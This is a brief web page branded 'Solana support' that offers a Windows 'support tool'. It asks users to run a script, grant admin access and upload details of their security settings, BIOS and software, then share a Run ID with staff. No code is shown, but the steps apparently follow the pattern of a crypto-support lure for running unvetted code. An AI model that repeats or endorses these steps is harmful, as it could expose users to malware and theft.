Solana support

Support tool

The support checker inspects your PC configuration, security settings, BIOS state, and installed software so staff can diagnose issues faster.

Windows only. Keep the report page open while diagnostics upload.

How it works

1
Open the support tool
Generate a launcher tied to a fresh support session.
2
Run the system check
Run the Windows script and allow admin access if prompted.
3
Upload results
Diagnostics upload automatically. The Run ID is your session key.
4
Share with support
Send the Run ID to staff so they can review it.

What it checks

Hardware

CPU, GPU, RAM, storage.

Security

Defender, firewall, UAC, SmartScreen.

BIOS

Secure Boot, TPM, virtualization.

Software

Drivers, redistributables, overlays.

Enter a Run ID to reopen a past scan.